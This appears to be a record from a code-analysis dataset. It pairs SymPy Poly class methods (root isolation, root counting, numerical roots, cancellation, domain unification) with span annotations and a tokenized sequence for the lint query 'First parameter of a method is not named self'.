(QQ.to_sympy(s), QQ.to_sympy(t))\n\n if not all:\n return list(map(_real, result))\n\n def _complex(rectangle):\n (u, v), (s, t) = rectangle\n return (QQ.to_sympy(u) + I*QQ.to_sympy(v),\n QQ.to_sympy(s) + I*QQ.to_sympy(t))\n\n real_part, complex_part = result\n\n return list(map(_real, real_part)), list(map(_complex, complex_part))\n else:\n def _real(interval):\n (s, t), k = interval\n return ((QQ.to_sympy(s), QQ.to_sympy(t)), k)\n\n if not all:\n return list(map(_real, result))\n\n def _complex(rectangle):\n ((u, v), (s, t)), k = rectangle\n return ((QQ.to_sympy(u) + I*QQ.to_sympy(v),\n QQ.to_sympy(s) + I*QQ.to_sympy(t)), k)\n\n real_part, complex_part = result\n\n return list(map(_real, real_part)), list(map(_complex, complex_part))", "metadata": "root.Poly.intervals", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3133 }, { "content": " def refine_root(f, s, t, eps=None, steps=None, fast=False, check_sqf=False):\n \"\"\"\n Refine an isolating interval of a root to the given precision.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 3, x).refine_root(1, 2, eps=1e-2)\n (19/11, 26/15)\n\n \"\"\"\n if check_sqf and not f.is_sqf:\n raise PolynomialError(\"only square-free polynomials supported\")\n\n s, t = QQ.convert(s), QQ.convert(t)\n\n if eps is not None:\n eps = QQ.convert(eps)\n\n if eps <= 0:\n raise ValueError(\"'eps' must be a positive rational\")\n\n if steps is not None:\n steps = int(steps)\n elif eps is None:\n steps = 1\n\n if hasattr(f.rep, 'refine_root'):\n S, T = f.rep.refine_root(s, t, eps=eps, steps=steps, fast=fast)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'refine_root')\n\n return QQ.to_sympy(S), QQ.to_sympy(T)", "metadata": "root.Poly.refine_root", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3209 }, { "content": " def count_roots(f, inf=None, sup=None):\n \"\"\"\n Return the number of roots of ``f`` in ``[inf, sup]`` interval.\n\n Examples\n ========\n\n >>> from sympy import Poly, I\n >>> from sympy.abc import x\n\n >>> Poly(x**4 - 4, x).count_roots(-3, 3)\n 2\n >>> Poly(x**4 - 4, x).count_roots(0, 1 + 3*I)\n 1\n\n \"\"\"\n inf_real, sup_real = True, True\n\n if inf is not None:\n inf = sympify(inf)\n\n if inf is S.NegativeInfinity:\n inf = None\n else:\n re, im = inf.as_real_imag()\n\n if not im:\n inf = QQ.convert(inf)\n else:\n inf, inf_real = list(map(QQ.convert, (re, im))), False\n\n if sup is not None:\n sup = sympify(sup)\n\n if sup is S.Infinity:\n sup = None\n else:\n re, im = sup.as_real_imag()\n\n if not im:\n sup = QQ.convert(sup)\n else:\n sup, sup_real = list(map(QQ.convert, (re, im))), False\n\n if inf_real and sup_real:\n if hasattr(f.rep, 'count_real_roots'):\n count = f.rep.count_real_roots(inf=inf, sup=sup)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'count_real_roots')\n else:\n if inf_real and inf is not None:\n inf = (inf, QQ.zero)\n\n if sup_real and sup is not None:\n sup = (sup, QQ.zero)\n\n if hasattr(f.rep, 'count_complex_roots'):\n count = f.rep.count_complex_roots(inf=inf, sup=sup)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'count_complex_roots')\n\n return Integer(count)", "metadata": "root.Poly.count_roots", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3246 }, { "content": " def root(f, index, radicals=True):\n \"\"\"\n Get an indexed root of a polynomial.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = Poly(2*x**3 - 7*x**2 + 4*x + 4)\n\n >>> f.root(0)\n -1/2\n >>> f.root(1)\n 2\n >>> f.root(2)\n 2\n >>> f.root(3)\n Traceback (most recent call last):\n ...\n IndexError: root index out of [-3, 2] range, got 3\n\n >>> Poly(x**5 + x + 1).root(0)\n CRootOf(x**3 - x**2 + 1, 0)\n\n \"\"\"\n return sympy.polys.rootoftools.rootof(f, index, radicals=radicals)", "metadata": "root.Poly.root", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3309 }, { "content": " def real_roots(f, multiple=True, radicals=True):\n \"\"\"\n Return a list of real roots with multiplicities.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x**3 - 7*x**2 + 4*x + 4).real_roots()\n [-1/2, 2, 2]\n >>> Poly(x**3 + x + 1).real_roots()\n [CRootOf(x**3 + x + 1, 0)]\n\n \"\"\"\n reals = sympy.polys.rootoftools.CRootOf.real_roots(f, radicals=radicals)\n\n if multiple:\n return reals\n else:\n return group(reals, multiple=False)", "metadata": "root.Poly.real_roots", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3338 }, { "content": " def all_roots(f, multiple=True, radicals=True):\n \"\"\"\n Return a list of real and complex roots with multiplicities.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x**3 - 7*x**2 + 4*x + 4).all_roots()\n [-1/2, 2, 2]\n >>> Poly(x**3 + x + 1).all_roots()\n [CRootOf(x**3 + x + 1, 0),\n CRootOf(x**3 + x + 1, 1),\n CRootOf(x**3 + x + 1, 2)]\n\n \"\"\"\n roots = sympy.polys.rootoftools.CRootOf.all_roots(f, radicals=radicals)\n\n if multiple:\n return roots\n else:\n return group(roots, multiple=False)", "metadata": "root.Poly.all_roots", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3361 }, { "content": " def nroots(f, n=15, maxsteps=50, cleanup=True):\n \"\"\"\n Compute numerical approximations of roots of ``f``.\n\n Parameters\n ==========\n\n n ... the number of digits to calculate\n maxsteps ... the maximum number of iterations to do\n\n If the accuracy `n` cannot be reached in `maxsteps`, it will raise an\n exception. You need to rerun with higher maxsteps.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 3).nroots(n=15)\n [-1.73205080756888, 1.73205080756888]\n >>> Poly(x**2 - 3).nroots(n=30)\n [-1.73205080756887729352744634151, 1.73205080756887729352744634151]\n\n \"\"\"\n if f.is_multivariate:\n raise MultivariatePolynomialError(\n \"can't compute numerical roots of %s\" % f)\n\n if f.degree() <= 0:\n return []\n\n # For integer and rational coefficients, convert them to integers only\n # (for accuracy). Otherwise just try to convert the coefficients to\n # mpmath.mpc and raise an exception if the conversion fails.\n if f.rep.dom is ZZ:\n coeffs = [int(coeff) for coeff in f.all_coeffs()]\n elif f.rep.dom is QQ:\n denoms = [coeff.q for coeff in f.all_coeffs()]\n from sympy.core.numbers import ilcm\n fac = ilcm(*denoms)\n coeffs = [int(coeff*fac) for coeff in f.all_coeffs()]\n else:\n coeffs = [coeff.evalf(n=n).as_real_imag()\n for coeff in f.all_coeffs()]\n try:\n coeffs = [mpmath.mpc(*coeff) for coeff in coeffs]\n except TypeError:\n raise DomainError(\"Numerical domain expected, got %s\" % \\\n f.rep.dom)\n\n dps = mpmath.mp.dps\n mpmath.mp.dps = n\n\n try:\n # We need to add extra precision to guard against losing accuracy.\n # 10 times the degree of the polynomial seems to work well.\n roots = mpmath.polyroots(coeffs, maxsteps=maxsteps,\n cleanup=cleanup, error=False, extraprec=f.degree()*10)\n\n # Mpmath puts real roots first, then complex ones (as does all_roots)\n # so we make sure this convention holds here, too.\n roots = list(map(sympify,\n sorted(roots, key=lambda r: (1 if r.imag else 0, r.real, r.imag))))\n except NoConvergence:\n raise NoConvergence(\n 'convergence to root failed; try n < %s or maxsteps > %s' % (\n n, maxsteps))\n finally:\n mpmath.mp.dps = dps\n\n return roots", "metadata": "root.Poly.nroots", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3386 }, { "content": " def ground_roots(f):\n \"\"\"\n Compute roots of ``f`` by factorization in the ground domain.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**6 - 4*x**4 + 4*x**3 - x**2).ground_roots()\n {0: 2, 1: 2}\n\n \"\"\"\n if f.is_multivariate:\n raise MultivariatePolynomialError(\n \"can't compute ground roots of %s\" % f)\n\n roots = {}\n\n for factor, k in f.factor_list()[1]:\n if factor.is_linear:\n a, b = factor.all_coeffs()\n roots[-b/a] = k\n\n return roots", "metadata": "root.Poly.ground_roots", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3459 }, { "content": " def nth_power_roots_poly(f, n):\n \"\"\"\n Construct a polynomial with n-th powers of roots of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = Poly(x**4 - x**2 + 1)\n\n >>> f.nth_power_roots_poly(2)\n Poly(x**4 - 2*x**3 + 3*x**2 - 2*x + 1, x, domain='ZZ')\n >>> f.nth_power_roots_poly(3)\n Poly(x**4 + 2*x**2 + 1, x, domain='ZZ')\n >>> f.nth_power_roots_poly(4)\n Poly(x**4 + 2*x**3 + 3*x**2 + 2*x + 1, x, domain='ZZ')\n >>> f.nth_power_roots_poly(12)\n Poly(x**4 - 4*x**3 + 6*x**2 - 4*x + 1, x, domain='ZZ')\n\n \"\"\"\n if f.is_multivariate:\n raise MultivariatePolynomialError(\n \"must be a univariate polynomial\")\n\n N = sympify(n)\n\n if N.is_Integer and N >= 1:\n n = int(N)\n else:\n raise ValueError(\"'n' must an integer and n >= 1, got %s\" % n)\n\n x = f.gen\n t = Dummy('t')\n\n r = f.resultant(f.__class__.from_expr(x**n - t, x, t))\n\n return r.replace(t, x)", "metadata": "root.Poly.nth_power_roots_poly", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3486 }, { "content": " def cancel(f, g, include=False):\n \"\"\"\n Cancel common factors in a rational function ``f/g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x**2 - 2, x).cancel(Poly(x**2 - 2*x + 1, x))\n (1, Poly(2*x + 2, x, domain='ZZ'), Poly(x - 1, x, domain='ZZ'))\n\n >>> Poly(2*x**2 - 2, x).cancel(Poly(x**2 - 2*x + 1, x), include=True)\n (Poly(2*x + 2, x, domain='ZZ'), Poly(x - 1, x, domain='ZZ'))\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n\n if hasattr(F, 'cancel'):\n result = F.cancel(G, include=include)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'cancel')\n\n if not include:\n if dom.has_assoc_Ring:\n dom = dom.get_ring()\n\n cp, cq, p, q = result\n\n cp = dom.to_sympy(cp)\n cq = dom.to_sympy(cq)\n\n return cp/cq, per(p), per(q)\n else:\n return tuple(map(per, result))", "metadata": "root.Poly.cancel", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3526 }, { "content": " def __abs__(f):\n return f.abs()", "metadata": "root.Poly.__abs__", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3849 }, { "content": " def __neg__(f):\n return f.neg()", "metadata": "root.Poly.__neg__", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3852 }, { "content": " def __nonzero__(f):\n return not f.is_zero", "metadata": "root.Poly.__nonzero__", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 4003 }, { "content": " def eq(f, g, strict=False):\n if not strict:\n return f.__eq__(g)\n else:\n return f._strict_eq(sympify(g))", "metadata": "root.Poly.eq", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 4008 }, { "content": " def ne(f, g, strict=False):\n return not f.eq(g, strict=strict)", "metadata": "root.Poly.ne", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 4014 }, { "content": " def _strict_eq(f, g):\n return isinstance(g, f.__class__) and f.gens == g.gens and f.rep.eq(g.rep, strict=True)", "metadata": "root.Poly._strict_eq", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 4017 }, { "content": " def _strict_eq(f, g):\n return isinstance(g, f.__class__) and f.rep.eq(g.rep, strict=True)", "metadata": "root.PurePoly._strict_eq", "header": "['class', 'PurePoly', '(', 'Poly', ')', ':', '___EOS___']", "index": 4077 }, { "content": " def _unify(f, g):\n g = sympify(g)\n\n if not g.is_Poly:\n try:\n return f.rep.dom, f.per, f.rep, f.rep.per(f.rep.dom.from_sympy(g))\n except CoercionFailed:\n raise UnificationFailed(\"can't unify %s with %s\" % (f, g))\n\n if len(f.gens) != len(g.gens):\n raise UnificationFailed(\"can't unify %s with %s\" % (f, g))\n\n if not (isinstance(f.rep, DMP) and isinstance(g.rep, DMP)):\n raise UnificationFailed(\"can't unify %s with %s\" % (f, g))\n\n cls = f.__class__\n gens = f.gens\n\n dom = f.rep.dom.unify(g.rep.dom, gens)\n\n F = f.rep.convert(dom)\n G = g.rep.convert(dom)\n\n def per(rep, dom=dom, gens=gens, remove=None):\n if remove is not None:\n gens = gens[:remove] + gens[remove + 1:]\n\n if not gens:\n return dom.to_sympy(rep)\n\n return cls.new(rep, *gens)\n\n return dom, per, F, G", "metadata": "root.PurePoly._unify", "header": "['class', 'PurePoly', '(', 'Poly', ')', ':', '___EOS___']", "index": 4080 } ]
[ { "span": "def unify(f, g):", "start_line": 318, "start_column": 4, "end_line": 318, "end_column": 20 }, { "span": "def _unify(f, g):", "start_line": 346, "start_column": 4, "end_line": 346, "end_column": 21 }, { "span": "def per(f, rep, gens=None, remove=None):", "start_line": 397, "start_column": 4, "end_line": 397, "end_column": 44 }, { "span": "def set_domain(f, domain):", "start_line": 426, "start_column": 4, "end_line": 426, "end_column": 30 }, { "span": "def get_domain(f):", "start_line": 431, "start_column": 4, "end_line": 431, "end_column": 22 }, { "span": "def set_modulus(f, modulus):", "start_line": 435, "start_column": 4, "end_line": 435, "end_column": 32 }, { "span": "def get_modulus(f):", "start_line": 452, "start_column": 4, "end_line": 452, "end_column": 23 }, { "span": "def _eval_subs(f, old, new):", "start_line": 473, "start_column": 4, "end_line": 473, "end_column": 32 }, { "span": "def exclude(f):", "start_line": 486, "start_column": 4, "end_line": 486, "end_column": 19 }, { "span": "def replace(f, x, y=None):", "start_line": 509, "start_column": 4, "end_line": 509, "end_column": 30 }, { "span": "def ltrim(f, gen):", "start_line": 569, "start_column": 4, "end_line": 569, "end_column": 22 }, { "span": "def to_ring(f):", "start_line": 633, "start_column": 4, "end_line": 633, "end_column": 19 }, { "span": "def to_field(f):", "start_line": 654, "start_column": 4, "end_line": 654, "end_column": 20 }, { "span": "def to_exact(f):", "start_line": 675, "start_column": 4, "end_line": 675, "end_column": 20 }, { "span": "def retract(f, field=None):", "start_line": 696, "start_column": 4, "end_line": 696, "end_column": 31 }, { "span": "def slice(f, x, m, n=None):", "start_line": 720, "start_column": 4, "end_line": 720, "end_column": 31 }, { "span": "def coeffs(f, order=None):", "start_line": 736, "start_column": 4, "end_line": 736, "end_column": 30 }, { "span": "def monoms(f, order=None):", "start_line": 758, "start_column": 4, "end_line": 758, "end_column": 30 }, { "span": "def terms(f, order=None):", "start_line": 778, "start_column": 4, "end_line": 778, "end_column": 29 }, { "span": "def all_coeffs(f):", "start_line": 798, "start_column": 4, "end_line": 798, "end_column": 22 }, { "span": "def all_monoms(f):", "start_line": 814, "start_column": 4, "end_line": 814, "end_column": 22 }, { "span": "def all_terms(f):", "start_line": 834, "start_column": 4, "end_line": 834, "end_column": 21 }, { "span": "def length(f):", "start_line": 887, "start_column": 4, "end_line": 887, "end_column": 18 }, { "span": "def as_dict(f, native=False, zero=False):", "start_line": 903, "start_column": 4, "end_line": 903, "end_column": 45 }, { "span": "def as_list(f, native=False):", "start_line": 922, "start_column": 4, "end_line": 922, "end_column": 33 }, { "span": "def lift(f):", "start_line": 966, "start_column": 4, "end_line": 966, "end_column": 16 }, { "span": "def deflate(f):", "start_line": 987, "start_column": 4, "end_line": 987, "end_column": 19 }, { "span": "def inject(f, front=False):", "start_line": 1008, "start_column": 4, "end_line": 1008, "end_column": 31 }, { "span": "def terms_gcd(f):", "start_line": 1087, "start_column": 4, "end_line": 1087, "end_column": 21 }, { "span": "def add_ground(f, coeff):", "start_line": 1108, "start_column": 4, "end_line": 1108, "end_column": 29 }, { "span": "def sub_ground(f, coeff):", "start_line": 1129, "start_column": 4, "end_line": 1129, "end_column": 29 }, { "span": "def mul_ground(f, coeff):", "start_line": 1150, "start_column": 4, "end_line": 1150, "end_column": 29 }, { "span": "def quo_ground(f, coeff):", "start_line": 1171, "start_column": 4, "end_line": 1171, "end_column": 29 }, { "span": "def exquo_ground(f, coeff):", "start_line": 1195, "start_column": 4, "end_line": 1195, "end_column": 31 }, { "span": "def abs(f):", "start_line": 1221, "start_column": 4, "end_line": 1221, "end_column": 15 }, { "span": "def neg(f):", "start_line": 1242, "start_column": 4, "end_line": 1242, "end_column": 15 }, { "span": "def add(f, g):", "start_line": 1266, "start_column": 4, "end_line": 1266, "end_column": 18 }, { "span": "def sub(f, g):", "start_line": 1297, "start_column": 4, "end_line": 1297, "end_column": 18 }, { "span": "def mul(f, g):", "start_line": 1328, "start_column": 4, "end_line": 1328, "end_column": 18 }, { "span": "def sqr(f):", "start_line": 1359, "start_column": 4, "end_line": 1359, "end_column": 15 }, { "span": "def pow(f, n):", "start_line": 1383, "start_column": 4, "end_line": 1383, "end_column": 18 }, { "span": "def pdiv(f, g):", "start_line": 1409, "start_column": 4, "end_line": 1409, "end_column": 19 }, { "span": "def prem(f, g):", "start_line": 1432, "start_column": 4, "end_line": 1432, "end_column": 19 }, { "span": "def pquo(f, g):", "start_line": 1471, "start_column": 4, "end_line": 1471, "end_column": 19 }, { "span": "def pexquo(f, g):", "start_line": 1499, "start_column": 4, "end_line": 1499, "end_column": 21 }, { "span": "def div(f, g, auto=True):", "start_line": 1530, "start_column": 4, "end_line": 1530, "end_column": 29 }, { "span": "def rem(f, g, auto=True):", "start_line": 1569, "start_column": 4, "end_line": 1569, "end_column": 29 }, { "span": "def quo(f, g, auto=True):", "start_line": 1606, "start_column": 4, "end_line": 1606, "end_column": 29 }, { "span": "def exquo(f, g, auto=True):", "start_line": 1643, "start_column": 4, "end_line": 1643, "end_column": 31 }, { "span": "def _gen_to_level(f, gen):", "start_line": 1685, "start_column": 4, "end_line": 1685, "end_column": 30 }, { "span": "def degree(f, gen=0):", "start_line": 1705, "start_column": 4, "end_line": 1705, "end_column": 25 }, { "span": "def degree_list(f):", "start_line": 1732, "start_column": 4, "end_line": 1732, "end_column": 23 }, { "span": "def total_degree(f):", "start_line": 1751, "start_column": 4, "end_line": 1751, "end_column": 24 }, { "span": "def homogenize(f, s):", "start_line": 1772, "start_column": 4, "end_line": 1772, "end_column": 25 }, { "span": "def homogeneous_order(f):", "start_line": 1806, "start_column": 4, "end_line": 1806, "end_column": 29 }, { "span": "def LC(f, order=None):", "start_line": 1831, "start_column": 4, "end_line": 1831, "end_column": 26 }, { "span": "def TC(f):", "start_line": 1855, "start_column": 4, "end_line": 1855, "end_column": 14 }, { "span": "def EC(f, order=None):", "start_line": 1876, "start_column": 4, "end_line": 1876, "end_column": 26 }, { "span": "def coeff_monomial(f, monom):", "start_line": 1895, "start_column": 4, "end_line": 1895, "end_column": 33 }, { "span": "def coeff(f, x, n=1, right=False):", "start_line": 1966, "start_column": 4, "end_line": 1966, "end_column": 38 }, { "span": "def LM(f, order=None):", "start_line": 1978, "start_column": 4, "end_line": 1978, "end_column": 26 }, { "span": "def EM(f, order=None):", "start_line": 1994, "start_column": 4, "end_line": 1994, "end_column": 26 }, { "span": "def LT(f, order=None):", "start_line": 2010, "start_column": 4, "end_line": 2010, "end_column": 26 }, { "span": "def ET(f, order=None):", "start_line": 2027, "start_column": 4, "end_line": 2027, "end_column": 26 }, { "span": "def max_norm(f):", "start_line": 2044, "start_column": 4, "end_line": 2044, "end_column": 20 }, { "span": "def l1_norm(f):", "start_line": 2065, "start_column": 4, "end_line": 2065, "end_column": 19 }, { "span": "def half_gcdex(f, g, auto=True):", "start_line": 2342, "start_column": 4, "end_line": 2342, "end_column": 36 }, { "span": "def gcdex(f, g, auto=True):", "start_line": 2373, "start_column": 4, "end_line": 2373, "end_column": 31 }, { "span": "def invert(f, g, auto=True):", "start_line": 2406, "start_column": 4, "end_line": 2406, "end_column": 32 }, { "span": "def revert(f, n):", "start_line": 2437, "start_column": 4, "end_line": 2437, "end_column": 21 }, { "span": "def subresultants(f, g):", "start_line": 2446, "start_column": 4, "end_line": 2446, "end_column": 28 }, { "span": "def resultant(f, g, includePRS=False):", "start_line": 2471, "start_column": 4, "end_line": 2471, "end_column": 42 }, { "span": "def discriminant(f):", "start_line": 2508, "start_column": 4, "end_line": 2508, "end_column": 24 }, { "span": "def dispersionset(f, g=None):", "start_line": 2529, "start_column": 4, "end_line": 2529, "end_column": 33 }, { "span": "def dispersion(f, g=None):", "start_line": 2604, "start_column": 4, "end_line": 2604, "end_column": 30 }, { "span": "def cofactors(f, g):", "start_line": 2679, "start_column": 4, "end_line": 2679, "end_column": 24 }, { "span": "def gcd(f, g):", "start_line": 2708, "start_column": 4, "end_line": 2708, "end_column": 18 }, { "span": "def lcm(f, g):", "start_line": 2731, "start_column": 4, "end_line": 2731, "end_column": 18 }, { "span": "def trunc(f, p):", "start_line": 2754, "start_column": 4, "end_line": 2754, "end_column": 20 }, { "span": "def content(f):", "start_line": 2806, "start_column": 4, "end_line": 2806, "end_column": 19 }, { "span": "def primitive(f):", "start_line": 2827, "start_column": 4, "end_line": 2827, "end_column": 21 }, { "span": "def compose(f, g):", "start_line": 2848, "start_column": 4, "end_line": 2848, "end_column": 22 }, { "span": "def decompose(f):", "start_line": 2871, "start_column": 4, "end_line": 2871, "end_column": 21 }, { "span": "def shift(f, a):", "start_line": 2892, "start_column": 4, "end_line": 2892, "end_column": 20 }, { "span": "def gff_list(f):", "start_line": 2942, "start_column": 4, "end_line": 2942, "end_column": 20 }, { "span": "def sqf_norm(f):", "start_line": 2965, "start_column": 4, "end_line": 2965, "end_column": 20 }, { "span": "def sqf_part(f):", "start_line": 2996, "start_column": 4, "end_line": 2996, "end_column": 20 }, { "span": "def sqf_list(f, all=False):", "start_line": 3017, "start_column": 4, "end_line": 3017, "end_column": 31 }, { "span": "def sqf_list_include(f, all=False):", "start_line": 3046, "start_column": 4, "end_line": 3046, "end_column": 39 }, { "span": "def factor_list(f):", "start_line": 3079, "start_column": 4, "end_line": 3079, "end_column": 23 }, { "span": "def factor_list_include(f):", "start_line": 3106, "start_column": 4, "end_line": 3106, "end_column": 31 }, { "span": "def intervals(f, all=False, eps=None, inf=None, sup=None, fast=False, sqf=False):", "start_line": 3133, "start_column": 4, "end_line": 3133, "end_column": 85 }, { "span": "def refine_root(f, s, t, eps=None, steps=None, fast=False, check_sqf=False):", "start_line": 3209, "start_column": 4, "end_line": 3209, "end_column": 80 }, { "span": "def count_roots(f, inf=None, sup=None):", "start_line": 3246, "start_column": 4, "end_line": 3246, "end_column": 43 }, { "span": "def root(f, index, radicals=True):", "start_line": 3309, "start_column": 4, "end_line": 3309, "end_column": 38 }, { "span": "def real_roots(f, multiple=True, radicals=True):", "start_line": 3338, "start_column": 4, "end_line": 3338, "end_column": 52 }, { "span": "def all_roots(f, multiple=True, radicals=True):", "start_line": 3361, "start_column": 4, "end_line": 3361, "end_column": 51 }, { "span": "def nroots(f, n=15, maxsteps=50, cleanup=True):", "start_line": 3386, "start_column": 4, "end_line": 3386, "end_column": 51 }, { "span": "def ground_roots(f):", "start_line": 3459, "start_column": 4, "end_line": 3459, "end_column": 24 }, { "span": "def nth_power_roots_poly(f, n):", "start_line": 3486, "start_column": 4, "end_line": 3486, "end_column": 35 }, { "span": "def cancel(f, g, include=False):", "start_line": 3526, "start_column": 4, "end_line": 3526, "end_column": 36 }, { "span": "def __abs__(f):", "start_line": 3849, "start_column": 4, "end_line": 3849, "end_column": 19 }, { "span": "def __neg__(f):", "start_line": 3852, "start_column": 4, "end_line": 3852, "end_column": 19 }, { "span": "def __nonzero__(f):", "start_line": 4003, "start_column": 4, "end_line": 4003, "end_column": 23 }, { "span": "def eq(f, g, strict=False):", "start_line": 4008, "start_column": 4, "end_line": 4008, "end_column": 31 }, { "span": "def ne(f, g, strict=False):", "start_line": 4014, "start_column": 4, "end_line": 4014, "end_column": 31 }, { "span": "def _strict_eq(f, g):", "start_line": 4017, "start_column": 4, "end_line": 4017, "end_column": 25 }, { "span": "def _strict_eq(f, g):", "start_line": 4077, "start_column": 4, "end_line": 4077, "end_column": 25 }, { "span": "def _unify(f, g):", "start_line": 4080, "start_column": 4, "end_line": 4080, "end_column": 21 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "unify", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Make", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``", " ", "belo", "ng", " ", "to", " ", "the", " ", "same", " ", "domain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ",", " ", "g", " ", "=", " ", "Poly", "(", "x", "/", "2", " ", "+", " ", "1", "),", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "1", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "1", "/", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "g", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "F", ",", " ", "G", " ", "=", " ", "f", ".", "unify", "(", "g", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "F", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "1", "/", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "G", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "per_", "(_", "F_", ")_", ",_", "per_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "unify", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "symp", "ify_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "g_", "._", "is", "\\u", "Poly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "dom_", ",_", "f_", "._", "per_", ",_", "f_", "._", "rep_", ",_", "f_", "._", "rep_", "._", "per_", "(_", "f_", "._", "rep_", "._", "dom_", "._", "from", "\\u", "sympy_", "(_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Coe", "rci", "on", "Failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Uni", "fication", "Failed_", "(_", "\"", "can", "'", "t", " ", "unify", " ", "%", "s", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "f_", ",_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "f_", "._", "rep_", ",_", "DM", "P_", ")_", "and_", "isinstance_", "(_", "g_", "._", "rep_", ",_", "DM", "P_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 